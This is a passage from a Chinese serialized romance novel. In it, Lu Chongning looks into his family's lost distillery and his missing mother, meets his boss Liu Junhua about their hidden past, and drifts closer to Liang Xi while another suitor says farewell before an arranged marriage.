路崇宁拜托信航向他爸打听酒厂的事,过了几天信航才告诉,他先打给梁喜聊了一会儿,顺便让路崇宁接电话。
梁喜给他甩脸子,“你要想路崇宁,干嘛不直接打给他?下次再让我传话,一次五百。”
“喜喜,你不去敲诈真可惜了。”
电话给到路崇宁,他一边叫信航的名字,一边揽过梁喜肩膀,把她带到门口,拍拍她的头,然后把门关上。
站在门外的梁喜在体会几秒的温柔之后才意识到路崇宁把她赶出去了,赶出去了?
她照门踢了一脚,转身离去。
“小宁,当年给路叔酒厂投资的人是吴青,后来酒厂归他所有,他又卖给光华建筑,也就是你老板刘俊华。”
“吴青?”路崇宁脑袋有点乱,“他当年有那个财力吗?”
“吴青最早是个卖菜的小贩,菜市场鱼龙混杂,被梁叔发展成线人,两人关系还不错,大约一零年那会儿吴青不卖菜了,经人介绍去南方打工,再回来的时候摇身一变成了有钱人,要投资这个投资那个,还找梁叔、你爸和我爸吃饭,后来你家酒厂资金链断了,路叔把家里存款搭进去还是不见起色,吴青主动说要帮忙,但是亲兄弟也要明算帐,具体细则是他和路叔两人谈的,等你家出事路叔才说出投资人是吴青,而且你知道吗?如果单纯是酒厂和别墅赔掉也就算了,路叔不知道听谁说南城那边要大力发展,吵得最热的楼盘很抢手,买完转手再卖,能翻两倍不止,他就跟几个朋友借钱买了三套商品房,因为都是期房,开发商迟迟不动工,借他钱的人开始上门催债,路叔这才躲出去,那片楼最后烂尾了,一直没人接手。”
路崇宁不解,“我爸为什么在酒厂亏损的情况下还要借钱炒房?他不是那么没脑子的人。”
“我爸说吴青投资后酒厂一下子接了外省好几个大单,路叔以为等资金回笼就能把买房的贷款还了,没想到卖出去的酒因为有问题,遭客户索赔,好像还喝出了事儿,具体不太清楚。”
路崇宁快速消化信航说的这些话,总结下来,就是他爸不甘心一手创立的酒厂倒闭,尽全力挽回,最后连自己的命也搭了进去。
“小宁。”
“”
“小宁!”
“嗯。”
路崇宁回过神,听信航说:“吴青这条线最开始被我忽略了,没想到他和你家还有这层纠葛,我会重点查他。”
“你忙队里的事吧,别耽误工作,我自己想想办法。”
事情查到这再往下一定不会顺利,刘俊华是什么人路崇宁并不了解,他要路崇宁接他的班更加匪夷所思,难道真的是因为他对杨婉仪的情分吗?还是另有隐形?
信航叹了口气,“明天你和喜喜来我家吃饭,我妈说做你爱吃的排骨。”
“好。”
“喜喜要是忙你就自己来啊。”
“知道,挂了。”
手机还回来,梁喜说:“你俩现在秘密挺多啊!”
“什么秘密能瞒过你。”
“嘁~”
路崇宁坐到她身边,床垫轻轻颤动,让梁喜的心也跟着晃悠了一下。
“不然呢?你举个例子。”
梁喜看着他的眼睛,想了想,问:“孟相帆种的向日葵,是给杨姨的吗?”
“给你的。”
梁喜以为他会遮掩,没想到承认得这么直率,“走都走了,还种花干什么。”
路崇宁倏然倒下,看着头顶冷白的灯光,喃喃说道:“我以为你偶尔会去那里转转,如果看到向日葵就会想起我,怕你把我忘了。”
梁喜被他哄得心软,一时不知道说什么,没接话。
想起从前,路崇宁闭上眼睛,说:“明晚去唐姨家吃饭,下班我去接你。”
“那我白天不吃饭了,晚上多吃点。”
他笑了声,“饭要按时吃,你太瘦了。”
梁喜拽他,“起来,我要睡觉。”
路崇宁身子发沉,梁喜拽一下没拽动。
他好整以暇地看着梁喜,“都没力气。”
梁喜不认,双手拉着路崇宁手腕,脚蹬着他的腿,使出吃奶的劲儿路崇宁的身子终于歪了下。
眼见梁喜要生气,路崇宁自己坐起来,摸摸她的头,给她顺完毛走了。
能惹也能哄,不知道跟谁学的本事
本来白天没什么活,梁喜从四点就开始收拾东西,准备下班背包就走,可她没想到许京平临时来了,没告诉任何人,很突然。
梁喜在洗围裙,听到周靖哲喊她:“喜喜,许老师来了。”
嗯?来干啥?
梁喜擦擦手,下楼看见许京平站在展架旁边,盯着黑陶展品看。
“好久不见。”梁喜跟他打招呼。
许京平转过头笑笑,只是这个笑和平常不同,梁喜虽然和他相识时间不长,但多少了解点,许京平带着心事来的。
他拎起脚边一个箱子,说:“我做了一件黑陶,感觉还不错,送给你。”
梁喜接过,外面包得严严实实,看不见里边。
“晚上吃个饭吧。”
梁喜有点为难,“晚上要去亲戚家,要不明天?”
“我明天飞机回去,赏个脸吧,以后我可能不会再来了。”
果然如梁喜猜想,“行,我去打电话跟亲戚说一声,你先坐。”
许京平点点头。
没到下班时间梁喜先撤了,许京平住的酒店有西餐厅,他把吃饭地点定在那,安静,还特意要了一瓶红酒。
“我不喝酒,你自己喝啊?”
“知道,我喝。”
红酒提前醒好了,许京平给自己倒了一杯,酒杯习惯性摇晃两下,仰头一口喝光。
“你是不是发生什么事了?”
“我要结婚了。”
梁喜手里的叉子差点飞出去!
许京平叹了口气,“家里安排的婚事,对方是我爷爷朋友家的孙女,两家虽然是世交,但我跟她总共见过两三面,我爷爷都快用命逼我了,我反抗很久还是不行。”
“恭喜。”
梁喜虽然惊讶,但情感上很平静,她真心祝福。
想到许京平送的那件黑陶,梁喜说:“你结婚应该我送你礼物,怎么还你送我呢?
多不好意思。”
“你是不是觉得我很怂?连自己的婚姻都做不了主。”
梁喜摇摇头,“身不由己的事太多了,人首先要以生存为主,其次才能谈感情。”
但梁喜没说生存的标准,有的人吃饱就行,有的却要财富自由,大富大贵,许京平那种家庭,权衡的东西肯定更多。
“我大学的时候喜欢一个女孩子,我爸妈不让我上学期间谈恋爱,就这么没缘没分地散了,后来遇见你,结果还是一样。”
许京平又给自己倒了一杯酒,梁喜说:“慢点喝,不急。”
“难得最后一顿饭你愿意慢慢陪我吃,谢谢。”
“什么最后一顿?搞得跟生离死别一样。”
“等我结婚了,我不会再联系你,所以这是最后一顿饭。”
梁喜心里泛起一阵苦涩,她不喜欢许京平,却也不想践踏他的付出,所以一直以来梁喜拒绝得都比较客气,何况许京平真的很绅士。
“怎么?婚礼不请我和师父啊?”
许京平摇头,“你师父可以,你不行,如果你去了,我不一定能坚持到婚礼结束。”
公共场合,梁喜被他说得脸一阵热。
“你从没问过我为什么喜欢你,当然你可能并不好奇,但我还是想告诉你。”
他向后靠着椅背,看着梁喜,说:“我们第一次见面是在昆明的学习交流会上,你吸引我是因为你学习的模样很专注,现场没几个人做笔记,你却写了那么多,就是从那时候我开始注意你,我也不想幼稚到相信一见钟情,但事实如此,不能否认。”
梁喜端起水杯,“以水代酒,敬你,咱们后会无期。”
许京平听到“后会无期”四个字,犹豫了下,转瞬端起杯子。
水喝光,杯中酒同样见底,许京平说:“对了,周靖哲比赛落选了,你知道吗?”
梁喜笑得意味深长,“他刚参加完比赛回来的时候跟我说发挥不错,还说获奖了请我吃饭,难怪最近这么消停,原来落选了。”
“黑陶这条路他走不远,太不自量力。”
“我师父还蛮喜欢他的。”
“那是因为他嘴甜,表面看着努力,实则内里空虚,你做你的事,别招他,真要玩阴的,你吃亏。”
“我知道。”
服务员把最后一道菜上来,黑椒牛肉面,梁喜尝了一口,味道还不错。
“你和路崇宁怎么样?”
“你指哪方面?”
“方方面面。”
“兄妹感情还不错。”
“要不要我帮你跟他说。”
梁喜举起叉子立在桌上,“就算以后不见面了,你也别这么害我呀。”
许京平笑笑,“路崇宁那小子身在福中不知福。”
不是不知福,是没捅破的窗户纸,是越过寒冬待抽的枝桠。
一切还需要时间而已。
第59章 第五十九章 一见钟情不可靠。
晚上九点半, 路崇宁从信航家出来,凉风一吹,把他嘴边的烟雾吹歪, 零落四散。
“冷了吧?”信航问。
“还行。”
“回家给你拿件衣服啊?”
“不用。”路崇宁拍拍身上穿的那件, “有外套,再说打车, 车上暖和。”
信航清楚他为什么不开那辆沃尔沃, “我爸说的话, 轻了重了你别往心里去, 他担心你, 路叔就你这么一个儿子,你要是折进去,我爸对不起他兄弟。”
晚上吃完饭信民把路崇宁单独叫到屋里好一阵开导, 像要把一辈子领悟的道理全都灌进路崇宁脑袋里,企图让他想开,珍惜眼前。
路崇宁拍拍信航肩膀,拿开嘴边的烟, 说:“道理我懂, 可是很多事不是懂就能过去的, 小时候我常听我爸放一首歌, 其中一句歌词记得最清楚, “昂首阔步, 不留一丝遗憾”,我做不到那么完美, 但遗憾总得尽量少些吧,就像我无法战胜命运,但我想在反抗中让自己活得更有人样, 所以我必须找到我妈,哪怕是尸骨,也要带回化城,用故乡的土掩埋,跟我爸合葬。”
信航看着眼前萧瑟的秋景,听着路崇宁的话,心里顿感一阵凉意,“我陪你一起查。”
“信航。”路崇宁欲言又止,“民叔都不想让我掺进去,何况你呢。”
“我一是你兄弟,二是警察,于情于理都不会坐视不管,以后这些别跟我爸妈说了,他们听不了,成天担心。”
路崇宁闷着头,肩膀微塌,完全不似往日,信航本以为他还完了债,回国后可以慢慢淡忘过去,好好生活,没想到他一直被那些事压着,没有一天真正放松过。
“喜喜没说干啥去了?”
“许京平找她吃饭。”
信航反应比路崇宁大多了,“这小子阴魂不散啊!怎么总来呢?喜喜也是,搭理他干嘛?”
“搭理自然有搭理的理由。”
“反正喜喜不喜欢他。”
路崇宁看着信航,“你怎么知道?”
信航笑了声,“我和喜喜认识多少年了,她什么心思我还不知道嘛。”
路崇宁没往下接,掐灭烟,跟他bye bye。
“诶!排骨,忘了!”
信航追过去,把饭盒塞给路崇宁,他接过急匆匆上了车
吃了一个多小时的饭,梁喜跟许京平告别,他执意要送梁喜回家,最后一面,梁喜不忍心回绝。
从出租车下来,站在街边,许京平问:“梁喜,可以抱抱你吗?”
梁喜摇头,冲许京平笑笑,“再见。”
最后这两个字从她嘴里说出来,在空中划过一道轻盈的印迹,却重重落在许京平心上。
在过往喜欢过梁喜的男人中,他是最受优待的一位,因为他尊重梁喜,所以才获得这份优待,只是他想要的从来不是优待二字。
梁喜刚要走,又一辆出租车停下,只见路崇宁从车上下来,目光直接撞上梁喜和许京平。
“路崇宁,好久不见。”
许京平虽然笑着打招呼,但看不出半点开心。
路崇宁把梁喜拉到身后,“谢谢你送我妹回来,劳你大驾。”
“不谢,我和喜喜是朋友,应该的。”
许京平看向梁喜被路崇宁捏着的手腕,又看了一眼她的脸,像要在最后相处的分秒里努力记住一般,最后将视线移向路崇宁,“好好照顾梁喜,再见。”
他转身离去,同相识那天一样,同是三个人的场景,他同样是多余的那位
上楼后梁喜拆开许京平送的那份黑陶礼物,是一对带垫盘的咖啡杯,杯身是玫瑰图案,杯底刻着两个字:喜喜。
虽然没有过多繁琐的雕工,但拿在手里温润质朴,很有气韵。
正当她仔细欣赏的时候路崇宁换完衣服开门出来,看见梁喜盘腿坐在餐桌旁,手里拿着一个黑乎乎的杯子。
路崇宁到她旁边坐,“什么?”
“咖啡杯。”梁喜目不斜视,专心欣赏。
“许京平送的吗?”
梁喜蜻蜓点水地“嗯”了声。
“一见钟情不可靠。”
“那什么可靠?”
“日久生情。”
梁喜的目光从乐高移到路崇宁脸上,“他要结婚了,过来见我最后一面。”
路崇宁的反应不比梁喜最初听到时差多少,喉咙上下动了动,好半天才问,“那他对你算什么?”
梁喜抬头,仔细想想,回了一句万能公式,“爱过。”
她一本正经的模样把路崇宁逗笑,惊讶从脸上消失,疑问不减,“许京平怎么会突然结婚?”
“家族联姻,他要是不答应,他爷爷可能就活不过八十大寿了。”
路崇宁本来对许京平的态度很明了,可现在他退出界外,路崇宁有点后悔刚才在楼下对他阴阳怪气。
梁喜把另一个杯子递给路崇宁,“正好两个,咱俩一人一个。”
“送你的,我不要。”
“就是个杯子而已,我又不能一次用两个。”
路崇宁拿起来仔细端详,下意识看向底部,一下愣住。
“怎么了?”梁喜凑过去,看见“崇宁”两个字,“许京平怎么刻你名字啊?”
“你不知道?”
“当然不知道。”
路崇宁一副不信的样子,梁喜把自己手里那个给他看,“呐!我以为两个
刻的都是喜喜。”
路崇宁笑得别有意味,“回头替我谢谢许京平。”
“你自己谢吧,从今以后我和他相忘于江湖了。”
梁喜说得轻松,像在缓慢流淌的时间里与一位老朋友渐渐失去联系一样,平和接受,真心祝福。
她拿过路崇宁手里的杯子,起身去厨房,随着流水声传来,她问:“唐姨给你做什么好吃的了?”
听到梁喜问,路崇宁这才想起旁边的袋子,拿出饭盒到厨房递给梁喜,“排骨,唐姨给你装了一份。”
梁喜放下杯子,双眼放光,打开饭盒闻了闻,说:“太好了,明天吃现成的。”
“我再带个拌菜回来?那次你去找我,咱俩吃的那家馄饨店的拌菜味道不错。”
“行,别买太多。”
梁喜说完拉路崇宁出去,指着门口快递说:“我又买了个乐高。”
“这次是什么妖魔鬼怪?”
“你才妖魔鬼怪。”
路崇宁用壁尺刀把外层盒子拆开,拿出里面盒子,图案竟然是向日葵。
“这个有点贵,千万别给我碰坏了。”
路崇宁小心放到餐桌上,碎片很多,今晚肯定拼不完。
看着黄油油的碎片,梁喜忽然泄力一般,说:“有点困了。”
路崇宁猛抬头,“?”
“明天再拼。”
梁喜边走边把身上的小衫脱掉隔空扔到床上,走进洗手间。
幸好里面还有吊带,要不然路崇宁非把手里的乐高碎片摔了不可。
洗手间传来水声,“哗啦啦”拍打地面。
路崇宁把碎片装进盒子,等他装完放到一边,水声突然停了,门打开一声缝隙,“路崇宁。”
他猛抬头,“嗯?”
梁喜伸出一只手,朝门口指,“我新买的沐浴露,好像在鞋柜上,你帮我拿来。”
路崇宁扭头看见一个快递盒,还没拆,他给打开,上面写着马鞭草味道。
撕开外包装,路崇宁走到洗手间门口塞到梁喜手里,他的视线一直向下看,最多抬到梁喜手那里。
门关上,他从冰箱拿了瓶凉矿泉水,猛喝几口把身体里的火往下压
第二天上班,路崇宁还没到公司就看见了刘俊华的司机徐哥,因为平时没什么时间休息,所以一般老板出差的时候他都放假,今天出现在公司,难不成老板回来了?
“早啊,小宁。”
“徐哥早,刘总回来了吗?”
“昨天到的北京,今天回化城,中午落地,他没跟你说啊?”
“没有。”
“刘总忙,等回来你就看见了,每次他回来不都第一个找你嘛。”
路崇宁看眼时间,“徐哥你快出发了吧?”
“这就走。”
两人摆摆手分开,路崇宁感觉不太对,每次刘俊华去哪或回来都会跟他说,这次怎么没打招呼?正想着,手机来了信息。
“我下午回化城,晚上你过来家里吃饭,我有事找你聊。”
路崇宁马上回过去,“好的,刘总。”
看来晚上不能陪梁喜吃饭了。
上午忙完手头工作,路崇宁去那家馄饨店买了份拌菜,开车给梁喜送过去。
工作室门口,梁喜刚洗过手还没来得及擦,接完路崇宁电话就出来了。
“天凉了,手不擦干会吹裂。”
路崇宁说着从车里拿出几张纸巾给梁喜擦手,“晚上老板找我吃饭,你自己吃吧,拌菜我买了。”
水擦干,梁喜把手收回去,“干嘛特意过来,我吃什么都行。”
“答应你了。”
梁喜心里开心,怕笑出来,抿嘴掩饰。
路崇宁从副驾把拌菜拿出来,梁喜一下想起什么,说:“对了,刘总给我打电话了,他真的问我书里有没有夹着一张照片,我说没有。”
“什么时候打的?”
“今天早上。”
本来路崇宁以为刘俊华找他是谈和之前一样的事,询问他最近的想法是否有改观,现在看来还有别的可能。
梁喜见路崇宁神情不太对,马上解释,“我没说别的。”
“嗯,没事。”
路崇宁拍拍梁喜肩膀,“我先回公司,晚上不一定几点回家,困了就睡,别等我。”
梁喜嘟囔一句“谁等你”,转头看向别处。
路崇宁抬手在她脸上蹭了蹭,梁喜猛地转回来,往一边躲。
“粘上土了。”
“噢。”
梁喜脑袋摆正,任路崇宁又擦了两下,直至干净。
这期间她的视线一直在路崇宁衣服扣子上游走,不敢直视。
第60章 第六十章 你还没送过我什么。
和上次去刘俊华家不同, 这次保安直接给路崇宁开门,说刘总特意交代了,以后但凡他来, 直接进, 什么都不用问。
路崇宁有点受宠若惊,更没想到刘俊华竟然在门口等, 他穿着一身休闲的家居服, 看见路崇宁马上露出笑容, “小宁, 怎么来的?”
“打车。”
“怎么不开公司的车呢?”
“一般私下没急事我不开。”
刘俊华拍拍路崇宁肩膀, “走,进屋说。”
上次来看见的女人不在,只有那个做饭的阿姨, 匆匆一瞥,阿姨没看见路崇宁,刘俊华把他带到茶室,关上门后周围立马安静下来。
“小宁, 最近怎么样?”
“还行。”
公司的事刘俊华都知道, 他无非是想问路崇宁和林格的进展。
路崇宁主动告诉, “林格挺忙的, 我俩没怎么联系。”
刘俊华笑笑, 拆穿他, “是你忙吧?”
“都忙。”
刘俊华没沏茶,而是给路崇宁拿了瓶矿泉水和烟灰缸, “知道你抽烟,抽吧,不用拘束。”
话虽这么说, 可路崇宁却没掏烟,而是打开水喝了一口,问:“刘总,你找我来什么事?”
“是有件事,不过跟工作没关系。”
路崇宁本能往林格那边想,谁知刘俊华马上切断他的乱猜。
“其实我和婉仪认识。”
婉仪?
路崇宁猛然抬头,刘俊华赶紧又说:“噢,也就是你母亲,我俩不但认识,还是彼此的初恋,我这辈子只真心爱过她一个女人,所以这就是我要把家产留给你的原因,之前一直没跟你说是觉得时机还不成熟。”
桌下,路崇宁捏着矿泉水瓶发出声响,脸上除了惊讶没别的。
或者说其他情绪被他刻意隐藏了。
“你肯定有很多疑问,问吧。”
“我”路崇宁快速思考,“其实没听我妈讲过她和你的事。”
所以他无从问起。
刘俊华苦笑一声,“当然,你妈把我这个穷小子甩了,再提没什么意义。”
路崇宁清楚看见刘俊华眼里闪过一丝不甘,可他听不出哪句真哪句假,索性顺着话题走,“刘总,你是什么时候知道我的?”
“很多年了,你小时候我还抱过你呢。”刘俊华回忆道:“那时你才三岁,我回化城在街上碰到你妈,抱了你一下,那会儿你胖乎乎的,不像现在这么瘦。”
三岁?不是路家出事那年路崇宁手里已经没有自己小时候的照片了,信航家倒有很多,基本都是三个人的合影,梁喜在中间,他和信航在两侧,每次拍照洗出来,大人习惯只夸梁喜,另外两个小子本能忽略,就算夸,也是把照片拿回家后在自家里。
“婉仪年轻时是远近闻名的大美人,我们是在舞厅认识的,她和朋友去玩,我在那当服务生,有个男的骚扰他,我英雄救美,就这么认识了,分开后我一直忘不了她,后来听说你妈出事,我托朋友帮忙找了很久,奈何有心无力,唉。”
好像诉说完各自的痛,才能站在对方的立场上回望,才能让自己的话更有说服力一些,刘俊华讲得真诚,他也自信这份真诚的态
度足以打动路崇宁。
“谢谢刘总,时间太长,我已经接受了。”
“我和你妈是旧相识,私下没人还是叫叔吧,别那么生分。”
路崇宁马上改口,“华叔。”
刘俊华笑得慈眉善目,“你和林格的事我不逼你了,那姑娘还没玩够,虽然对你有意思,但你不搭茬,人家怎么好意思拉下脸来主动追你。”
后一句让路崇宁忽然想起梁喜,当年就是梁喜跟他表白的,听完他慌得不行,极力克制自己,远不及梁喜那般洒脱。
“谢谢华叔成全,今后我一定努力工作。”
路崇宁这般表态是想让刘俊华放过对他感情方面的干预,否则再整出几个姑娘,他在梁喜心里早晚灰飞烟灭。
刘俊华捻起一个空茶杯,在手里旋转半圈,路崇宁注意这个茶杯是黑陶的,上面刻的图案看不清,但线条简单。
“暂时你还是在家里企业多锻炼锻炼,书可以不读那么多,但经验一定要充足,经历的事情多了你自然就能明白我对你的良苦用心。”
“嗯,我明白。”
路崇宁战术性喝水
刘俊华瞥了一眼,茶室里灯光有些暗,照在路崇宁棱角分明的脸上,与记忆里故人的脸重合,让他猛地想起那个噩梦般的夜晚他曾花费数年从深陷的漩涡里爬出来,却又再次跳进去,他不明白为什么要把这个孩子拴在身边,还是他在惩罚自己?代价是永生不得将杨婉仪忘记
“给你买套房吧。”
刘俊华将杯子放回原处,路崇宁这才发现同样的杯子有四个,各置一角,图案却不同,这组杯子不是出自公司跟梁喜那批订货,可能是她师父私下送给刘俊华的。
路崇宁的视线从黑陶杯子处转移回来,“不”
他刚要多说几句拒绝的原因,刘俊华马上接过话去,“你不用有负担,有钱自然会让人看起来善良,因为施予是件容易事,买房对我来说九牛一毛,不值得一提,有套自己的房子你可以搬出去住,不必跟你妹妹挤在那么老的小区里,上下楼还要爬楼梯,长时间居住环境不好会导致身心压抑。”
“华叔,我小时候住什么房子您应该知道,后来又怎么样呢,我现在过得挺好,真的,不觉得生活多苦,很知足。”
刘俊华感觉自己的真诚同样换来了路崇宁的真诚,交心虽然短暂,但起码有进步,他很满意,看来大家说得没错,这孩子是个吃软不吃硬的主。
“好吧,等你想通的时候给我个信号,我找人安排在咱们自家楼盘给你留两套,或者去主市区买。”
“谢谢华叔。”
“你妹那边工作怎么样?有什么我可以帮忙的跟我说,嫌累的话我在公司给她搞个像阿布那种文职干干。”
“她喜欢做黑陶,随她吧,赚多少没关系,我可以养家。”
刘俊华意味深长地看着路崇宁,“感情方面你倒是比现在很多小年轻沉稳。”
眼前闪过梁喜的脸,路崇宁不禁笑笑,只是他不知道这份笑落在刘俊华眼里,转变成一味苦涩。
令人羡慕的年龄,令人羡慕的爱恋,年轻真好,可惜人生没有回头路,刘俊华没得选,但人生如果能回头,说不定他的选择还是一样。
“我听罗总说,你做的报表很细致,平时跟他对接工作,连标点符号都没有用错的。”
“罗总最细心,我不敢马虎。”
经历这么多,路崇宁自然明白,那些肆无忌惮犯错的人,他们的人生大多有父母兜底,而没有兜底的人则小心翼翼,如履薄冰,他是普通人,自然属于后者。
“放松些,没事,我跟罗总打过招呼,他知道你和我的关系。”
这时响起敲门声,阿姨在门外说:“刘总,可以吃饭了。”
“来了。”
刘俊华起身,路崇宁跟着站起来,一前一后到餐厅吃饭
晚上九点多路崇宁回家,又被刘俊华塞了一堆东西,都是保养品,类似冬虫夏草那些,上次他给的海参被梁喜拿来煮粥了,还有一半没吃完。
梁喜正在拼乐高,被开门声惊扰,手上一抖,直接掉了,她没好气地看向刚进来的路崇宁,瞪了一眼,低头把碎片捡起来。
“怎么了?”
路崇宁一脸无辜。
梁喜不说话,继续拼,他放下东西走过去,捏着梁喜下巴逼她抬头,“问你话呢?”
两人对视,梁喜往别处看,“你老板又送了啥?”
路崇宁撤手,“不知道,补品吧。”
梁喜阴阳怪气地哼了声,“你还用补吗?力气那么大。”
尤其刚刚捏她下巴的时候。
路崇宁简单洗洗手,坐到梁喜身边,“我帮你拼。”
“我都快拼好了,你怎么那么会捡现成呢?”
路崇宁笑笑,一块不敢碰,安静地看着她拼。
“能送我吗?”
梁喜无情拒绝,“不能。”
“你还没送过什么。”
“短袖不是让你扔了吗?”
“”
路崇宁特想扇自己一巴掌,好端端提这茬干嘛。
“能不能还我?”
梁喜停手,“你过了这么久才提,心虚啊?”
确实心虚,他又问一遍,“能不能还我?”
“凭什么?”
“你可以提条件。”
“限高是什么?”
“没有限高,随便提,只要我能办到。”
梁喜刚要说,却又戛然而止,最后一块拼完,她看着成品甚是满意,没想到被路崇宁直接拿走,跟强盗毫无区别。
“还我。”
乐高被路崇宁举起来,梁喜伸手抢,奈何他手臂长,梁喜抓了两下没够到,却拉近了她和路崇宁之间的距离。
两人对视间,梁喜趁他愣神再次伸手,没想到乐高忽然换到另一边,重新来一回合,这回梁喜手指不小心刮过路崇宁下巴,刺了她一下,“嘶!”
“早上不是刮胡子了吗?怎么长这么快?”
乐高拿下来,路崇宁改捏她手指,“弄疼你了?”
“没有。”
“真不疼?”
“不疼。”
忽然路崇宁抓起梁喜手,在他下巴又蹭了几下。
“干嘛?”梁喜往回躲。
“不是不疼吗?”
“你什么时候变得这么坏了?”
路崇宁淡淡一笑,梁喜的脸却红得像秋柿
60-70
第61章 第六十一章 纯纯找虐。
最近雨下得频繁, 绿了一夏的叶子纷纷变色,被雨水拍打落地,又被风吹得四处飘散, 秋意萧瑟。
省台那边的拍摄即将开启, 梁喜得到老王批准可以参加,她为了上镜好看, 连着一周吃得特别清淡, 但又不能苦了路崇宁, 所以一般晚饭准备两种菜, 一种正常油量炒的, 一种少油少盐。
路崇宁见状特意在盛饭的时候压了又压,紧实程度连筷子插上去都能直立不动,被梁喜识破后他装傻, 还说一向如此。
晚上梁喜加班背稿,有一段黑陶作品的介绍要她来完成,尽管早已背得滚瓜烂熟,但她还是练了一遍又遍。
路崇宁也加班了, 正好过来接她, 到家差不多七点半, 冰箱里还有菜, 再不吃就蔫了, 打算今晚清空。
梁喜把芹菜洗了, 路崇宁负责切,他问梁喜, “什么时候录制?”
“下周二。”
“我能去看吗?”
梁喜直截了当拒绝,“不能。”
“信航能去吗?”
“当然可以。”
路崇宁故意这么问,纯纯找虐。
他笑笑, “你跟信航说了吗?”
“没有。”
“讲真的,我能去吗?”
“我也讲真的,不能。”
“为什么信航可以?”
“他在场我不紧张。”
两相对视,路崇宁一下切到了手,血瞬间涌出来,鲜红一片。
梁喜拉过他的手查看一番,伤的食指,还好伤口不深,她找来创可贴和纸巾,把血擦干,创可贴贴上。“疼吗?”
路崇宁看着她的眉眼,完全不在乎疼不疼,而是问:“我在你为什么紧张?”
“怕你当众揭我短。”
“我是那种人吗?”
梁喜哼了声,拿过菜刀,“我切,你出去。”
菜刀泛着冷光,路崇宁赶忙退下。
关上门,他回卧室看手机,最近信航太忙,两人很少联系,之前说去找马有平的事信航让他等消息,别轻举妄动,去安北县的行程暂时搁置,他刚才那么问梁喜,有一层原因是想知道信航有没有时间,看来他最近也和梁喜联系不多。
正想着,信航来电话了,路崇宁秒接,搞得他那头措手不及。
“诶呀!接这么快。”
“刚好拿电话。”
“吃饭了吗?”
“喜喜在做。”
“有多余的份吗?带我一个。”
路崇宁转头找车钥匙,“我去接你。”
“不用,我开车了,一会儿我从小区后门进哈。”
几句话结束,路崇宁赶紧到厨房告诉梁喜,“信航要来,我去楼下买两个现成的肉菜吧。”
梁喜低头看看,确实有点清汤寡水,“要不别做了,咱仨去崔影那吃。”
“也行。”
说走就走,梁喜把刚切完的芹菜装进保鲜袋,换了衣服跟路崇宁下楼,路上给信航发信息,告诉他直接去崔影那。
考虑现在是饭点时间,路崇宁问:“要打电话定位置吗?”
梁喜说:“不用,大厅应该有。”
赶到店里,崔影见到梁喜高兴得不行,两人搂搂抱抱,给路崇宁看得直皱眉。
松开手,崔影问:“你俩来吃饭吗?”
“嗯,还有信航,他一会儿到。”
崔影看向路崇宁,脸拉下来,“你怎么照顾喜喜的?她又瘦了。”
路崇宁摸摸喉结,一时语塞。
“你俩还没在一起啊?”
梁喜眼前一黑,伸手捂住崔影嘴巴,她反手拉住梁喜胳膊,往店里带,“我给你介绍个帅的,不要他!”
梁喜偷偷掐她胳膊,“崔影”
“本来就是嘛,我小弟还惦记你呢!加你微信又不通过,回头我把你电话给他。”
路崇宁老老实实在后面跟着,进屋便看见热闹的吃饭氛围,大厅三分之二坐了人。
崔影跟梁喜说:“包房快下来了,要不等等?”
“行,等会儿吧。”
崔影拿了两瓶水,递给梁喜一瓶,另一瓶没好气地塞给路崇宁,转头去忙。
瓶子在手里敲敲,梁喜提议,“要不咱俩去外面等?”
“行。”
外面的长椅除了下雨天都有人坐,没什么灰,街边的银杏树黄了一大半,在夜色下有种别样的美感。
路崇宁直接坐下,却用袖子给梁喜那边蹭了又蹭。
“没事,别把衣服弄脏了。”
“坐吧。”
梁喜坐下,扭头看向路崇宁,“崔影胡说八道的,你别介意。”
他向左斜睨,“哪句算胡说八道?”
梁喜一下被问住了。
“我帮你想想啊。”路崇宁晃晃脖颈。
梁喜怕他说出那句“你俩还没在一起”,赶忙打断,“我看看手,还出血吗?”
她拉起路崇宁手腕,举起来,对着路灯的光仔细看,“真不疼?”
“现在不疼了。”
他舒服得不得了
“别加一些乱七八糟的人。”
梁喜听这话耳熟,当初和许京平初相识时也被这样警告过。
她手上稍稍用力,路崇宁咬着嘴唇看向另一边,视线和信航对上,梁喜也看见了,慌忙松开路崇宁的手。
信航锁完车小跑过来,“唉,我这段时间忙得要死。”
他说话坐到两人中间,指着自己的黑眼圈,问路崇宁,“我是不是老了好几岁?”
“还行,你本来看着就像三十多。”
信航差点口吐鲜血,“你跟喜喜学坏了。”
他转头又看向梁喜,“你那个节目啥时候录?”
“下周二。”
“可以围观吗?我去给你加油。”
“好啊。”
信航揽过梁喜肩膀,“你要是火了能带带我吗?”
路崇宁瞥了一眼,低下头。
梁喜:“带你干嘛?”
“我给你当经纪人。”
“别,请不起。”
这时崔影开门,跟信航打招呼,“好久不见啊,警察叔叔。”
“崔老板,生意兴隆。”
“托你的福。”
两人跟唱二人转似的。
“进来吧几位,包房人结账走了。”
三人齐刷刷站起来,相继进店,信航走在最后,经过崔影身边时小声说:“一会儿吃差不多了你把喜喜叫出来,我跟小宁说点事。”
不让梁喜听自然有不让听的道理,崔影见信航神情严肃,赶忙应承下来
三人在包房吃饭,崔影时不时透过布帘观察动态,等吃差不多了她把梁喜叫出去,东拉西扯找话聊。
梁喜一走,信航立马跟路崇宁说正事,“安北精神病院的张姐联系我了,她说最近马有平情绪起落不大,而且她发现马有平偷偷扔药,不知道是最近才扔还是以前也扔过,张姐联系过王四,可是电话没人接,问我有没有空过去看看。”
“刘俊华也找我了,他应该发现那张照片不见了,问过喜喜,喜喜告诉他没见过,他应该没信,所以才主动跟我说他和我妈以前的事,其他没多交代。”
路崇宁把那天跟刘俊华见面聊的内容跟信航说了一遍,他听完眉头狠皱,“你老板倒是个痴情人,可他那么重感情,怎么不去看自己妹妹呢,那可是亲妹啊!”
“这年头亲兄弟也要明算账,说不定他们兄妹有什么咱们不知道的嫌隙。”
“也是,总之先过去看看吧,眼下没别的办法,你没跟你老板说别的吧?”
“当然。”路崇宁有分寸,“我跟他说我不找了,时间太久,我还有自己的生活要过。”
“这么说是对的。”
可惜啊,信航知道路崇宁心里肯定不这么想。
见梁喜往包房这边看,信航问:“喜喜那个电视台录制,你能去吗?”
路崇宁低头夹菜,“她不让我去。”
“为什么?吵架啦?”
“不知道,反正让你去,不让我去。”
信航并没感觉多开心,刚才在外面他又不是眼瞎
“听说许京平要结婚了。”
路崇宁抬头,“这你也知道?”
“崔影跟我说的,她觉得挺可惜,毕竟许京平家里条件好,还那么喜欢喜喜。”
“真那么喜欢就不会跟别人结婚了。”
信航不认同,“有些时候身不由己,爱不能平万事。”
